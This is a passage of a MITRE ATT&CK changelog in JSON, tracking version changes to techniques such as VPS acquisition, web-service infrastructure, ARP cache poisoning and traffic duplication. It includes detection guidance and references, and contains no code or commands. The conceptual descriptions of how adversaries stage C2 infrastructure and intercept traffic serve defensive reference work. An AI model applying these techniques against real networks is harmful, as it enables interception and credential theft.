\"Once adversaries have provisioned a server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,3 @@\\n+Once adversaries have provisioned a server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n+\\n Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"ThreatConnect Infrastructure Dec 2020\", \"description\": \"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.\", \"url\": \"https://threatconnect.com/blog/infrastructure-research-hunting/\"}, \"root['external_references'][3]\": {\"source_name\": \"Mandiant SCANdalous Jul 2020\", \"description\": \"Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.\", \"url\": \"https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation\"}, \"root['external_references'][4]\": {\"source_name\": \"Koczwara Beacon Hunting Sep 2021\", \"description\": \"Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.\", \"url\": \"https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1056: Pre-compromise" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0035: Internet Scan (Response Content)", "DS0035: Internet Scan (Response Metadata)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-10-01 00:44:23.935000+00:00", "modified": "2021-10-17 15:36:59.315000+00:00", "name": "Virtual Private Server", "description": "Adversaries may rent Virtual Private Servers (VPSs)\u00a0that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure.\n\nAcquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "resource-development" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1583/003", "external_id": "T1583.003" }, { "source_name": "TrendmicroHideoutsLease", "description": "Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.", "url": "https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf" }, { "source_name": "ThreatConnect Infrastructure Dec 2020", "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" }, { "source_name": "Mandiant SCANdalous Jul 2020", "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.", "url": "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation" }, { "source_name": "Koczwara Beacon Hunting Sep 2021", "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.", "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Internet Scan: Response Metadata", "Internet Scan: Response Content" ], "x_mitre_detection": "Once adversaries have provisioned a VPS (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "PRE" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Metadata\", \"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-17 15:36:59.315000+00:00\", \"old_value\": \"2021-04-15 02:52:41.901000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Once adversaries have provisioned a VPS (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,3 @@\\n+Once adversaries have provisioned a VPS (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n+\\n Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"ThreatConnect Infrastructure Dec 2020\", \"description\": \"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.\", \"url\": \"https://threatconnect.com/blog/infrastructure-research-hunting/\"}, \"root['external_references'][3]\": {\"source_name\": \"Mandiant SCANdalous Jul 2020\", \"description\": \"Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.\", \"url\": \"https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation\"}, \"root['external_references'][4]\": {\"source_name\": \"Koczwara Beacon Hunting Sep 2021\", \"description\": \"Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.\", \"url\": \"https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1056: Pre-compromise" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0035: Internet Scan (Response Content)", "DS0035: Internet Scan (Response Metadata)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-10-01 00:50:29.936000+00:00", "modified": "2021-10-17 15:45:01.956000+00:00", "name": "Web Services", "description": "Adversaries may register for web services\u00a0that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567). Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "resource-development" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1583/006", "external_id": "T1583.006" }, { "source_name": "ThreatConnect Infrastructure Dec 2020", "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Internet Scan: Response Content" ], "x_mitre_detection": "Once adversaries leverage the web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "PRE" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-17 15:45:01.956000+00:00\", \"old_value\": \"2021-04-15 02:53:19.246000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Once adversaries leverage the web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020)\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,3 @@\\n+Once adversaries leverage the web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020)\\n+\\n Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"ThreatConnect Infrastructure Dec 2020\", \"description\": \"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.\", \"url\": \"https://threatconnect.com/blog/infrastructure-research-hunting/\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1056: Pre-compromise" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0035: Internet Scan (Response Content)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-10-15 12:05:58.755000+00:00", "modified": "2021-07-28 01:04:39.141000+00:00", "name": "ARP Cache Poisoning", "description": "Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nThe ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.\n\nAn adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.\n\nThe ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver)\n\nAdversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)\n", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "credential-access" }, { "kill_chain_name": "mitre-attack", "phase_name": "collection" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1557/002", "external_id": "T1557.002" }, { "source_name": "RFC826 ARP", "description": "Plummer, D. (1982, November). An Ethernet Address Resolution Protocol. Retrieved October 15, 2020.", "url": "https://tools.ietf.org/html/rfc826" }, { "source_name": "Sans ARP Spoofing Aug 2003", "description": "Siles, R. (2003, August). Real World ARP Spoofing. Retrieved October 15, 2020.", "url": "https://pen-testing.sans.org/resources/papers/gcih/real-world-arp-spoofing-105411" }, { "source_name": "Cylance Cleaver", "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Jon Sternstein, Stern Security" ], "x_mitre_data_sources": [ "Network Traffic: Network Traffic Content", "Network Traffic: Network Traffic Flow" ], "x_mitre_detection": "Monitor network traffic for unusual ARP traffic, gratuitous ARP replies may be suspicious. \n\nConsider collecting changes to ARP caches across endpoints for signs of ARP poisoning. For example, if multiple IP addresses map to a single MAC address, this could be an indicator that the ARP cache has been poisoned.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Linux", "Windows", "macOS" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-07-28 01:04:39.141000+00:00\", \"old_value\": \"2021-04-21 16:41:35.256000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\\n\\nThe ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.\\n\\nAn adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.\\n\\nThe ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver)\\n\\nAdversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)\\n\", \"old_value\": \"Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\\n\\nThe ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.\\n\\nAn adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.\\n\\nThe ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver)\\n\\nAdversaries may use ARP cache poisoning as a means to man-in-the-middle (MiTM) network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)\\n\", \"diff\": \"--- \\n+++ \\n@@ -6,4 +6,4 @@\\n \\n The ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver)\\n \\n-Adversaries may use ARP cache poisoning as a means to man-in-the-middle (MiTM) network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)\\n+Adversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may poison Address Resolution Protocol (ARP) cact1Adversaries may poison Address Resolution Protocol (ARP) cac
>hes to position themselves between the communication of two >hes to position themselves between the communication of two 
>or more networked devices. This activity may be used to enab>or more networked devices. This activity may be used to enab
>le follow-on behaviors such as [Network Sniffing](https://at>le follow-on behaviors such as [Network Sniffing](https://at
>tack.mitre.org/techniques/T1040) or [Transmitted Data Manipu>tack.mitre.org/techniques/T1040) or [Transmitted Data Manipu
>lation](https://attack.mitre.org/techniques/T1565/002).  The>lation](https://attack.mitre.org/techniques/T1565/002).  The
> ARP protocol is used to resolve IPv4 addresses to link laye> ARP protocol is used to resolve IPv4 addresses to link laye
>r addresses, such as a media access control (MAC) address.(C>r addresses, such as a media access control (MAC) address.(C
>itation: RFC826 ARP) Devices in a local network segment comm>itation: RFC826 ARP) Devices in a local network segment comm
>unicate with each other by using link layer addresses. If a >unicate with each other by using link layer addresses. If a 
>networked device does not have the link layer address of a p>networked device does not have the link layer address of a p
>articular networked device, it may send out a broadcast ARP >articular networked device, it may send out a broadcast ARP 
>request to the local network to translate the IP address to >request to the local network to translate the IP address to 
>a MAC address. The device with the associated IP address dir>a MAC address. The device with the associated IP address dir
>ectly replies with its MAC address. The networked device tha>ectly replies with its MAC address. The networked device tha
>t made the ARP request will then use as well as store that i>t made the ARP request will then use as well as store that i
>nformation in its ARP cache.  An adversary may passively wai>nformation in its ARP cache.  An adversary may passively wai
>t for an ARP request to poison the ARP cache of the requesti>t for an ARP request to poison the ARP cache of the requesti
>ng device. The adversary may reply with their MAC address, t>ng device. The adversary may reply with their MAC address, t
>hus deceiving the victim by making them believe that they ar>hus deceiving the victim by making them believe that they ar
>e communicating with the intended networked device. For the >e communicating with the intended networked device. For the 
>adversary to poison the ARP cache, their reply must be faste>adversary to poison the ARP cache, their reply must be faste
>r than the one made by the legitimate IP address owner. Adve>r than the one made by the legitimate IP address owner. Adve
>rsaries may also send a gratuitous ARP reply that maliciousl>rsaries may also send a gratuitous ARP reply that maliciousl
>y announces the ownership of a particular IP address to all >y announces the ownership of a particular IP address to all 
>the devices in the local network segment.  The ARP protocol >the devices in the local network segment.  The ARP protocol 
>is stateless and does not require authentication. Therefore,>is stateless and does not require authentication. Therefore,
> devices may wrongly add or update the MAC address of the IP> devices may wrongly add or update the MAC address of the IP
> address in their ARP cache.(Citation: Sans ARP Spoofing Aug> address in their ARP cache.(Citation: Sans ARP Spoofing Aug
> 2003)(Citation: Cylance Cleaver)  Adversaries may use ARP c> 2003)(Citation: Cylance Cleaver)  Adversaries may use ARP c
>ache poisoning as a means to man-in-the-middle (MiTM) networ>ache poisoning as a means to intercept network traffic. This
>k traffic. This activity may be used to collect and/or relay> activity may be used to collect and/or relay data such as c
> data such as credentials, especially those sent over an ins>redentials, especially those sent over an insecure, unencryp
>ecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug>ted protocol.(Citation: Sans ARP Spoofing Aug 2003) 
> 2003)  
", "changelog_mitigations": { "shared": [ "M1017: User Training", "M1031: Network Intrusion Prevention", "M1035: Limit Access to Resource Over Network", "M1037: Filter Network Traffic", "M1041: Encrypt Sensitive Information", "M1042: Disable or Remove Feature or Program" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0029: Network Traffic (Network Traffic Content)", "DS0029: Network Traffic (Network Traffic Flow)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--7c46b364-8496-4234-8a56-f7e6727e21e1", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-10-19 13:40:11.118000+00:00", "modified": "2021-08-16 15:23:37.640000+00:00", "name": "Traffic Duplication", "description": "Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised network infrastructure. Traffic mirroring is a native feature for some network devices and used for network analysis and may be configured to duplicate traffic and forward to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring) (Citation: Juniper Traffic Mirroring)\n\nAdversaries may abuse traffic mirroring to mirror or redirect network traffic through other network infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "exfiltration" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1020/001", "external_id": "T1020.001" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/117.html", "external_id": "CAPEC-117" }, { "source_name": "Cisco Traffic Mirroring", "description": "Cisco. (n.d.). Cisco IOS XR Interface and Hardware Component Configuration Guide for the Cisco CRS Router, Release 5.1.x. Retrieved October 19, 2020.", "url": "https://www.cisco.com/c/en/us/td/docs/routers/crs/software/crs_r5-1/interfaces/configuration/guide/hc51xcrsbook/hc51span.html" }, { "source_name": "Juniper Traffic Mirroring", "description": "Juniper. (n.d.). Understanding Port Mirroring on EX2200, EX3200, EX3300, EX4200, EX4500, EX4550, EX6200, and EX8200 Series Switches. Retrieved October 19, 2020.", "url": "https://www.juniper.net/documentation/en_US/junos/topics/concept/port-mirroring-ex-series.html" }, { "source_name": "US-CERT-TA18-106A", "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A" }, { "source_name": "Cisco Blog Legacy Device Attacks", "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.", "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Network Traffic: Network Connection Creation", "Network Traffic: Network Traffic Flow" ], "x_mitre_detection": "Monitor network traffic for uncommon data flows (e.g. unusual network communications, suspicious communications that have never been seen before, communications sending fixed size data packets at regular intervals). Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. ", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "Administrator" ], "x_mitre_platforms": [ "Network" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-08-16 15:23:37.640000+00:00\", \"old_value\": \"2020-10-22 02:24:54.640000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised network infrastructure. Traffic mirroring is a native feature for some network devices and used for network analysis and may be configured to duplicate traffic and forward to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring) (Citation: Juniper Traffic Mirroring)\\n\\nAdversaries may abuse traffic mirroring to mirror or redirect network traffic through other network infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.\", \"old_value\": \"Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised network infrastructure. Traffic mirroring is a native feature for some network devices and used for network analysis and may be configured to duplicate traffic and forward to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring) (Citation: Juniper Traffic Mirroring)\\n\\nAdversaries may abuse traffic mirroring to mirror or redirect network traffic through other network infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised network infrastructure. Traffic mirroring is a native feature for some network devices and used for network analysis and may be configured to duplicate traffic and forward to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring) (Citation: Juniper Traffic Mirroring)\\n \\n-Adversaries may abuse traffic mirroring to mirror or redirect network traffic through other network infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.\\n+Adversaries may abuse traffic mirroring to mirror or redirect network traffic through other network infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.\"}, 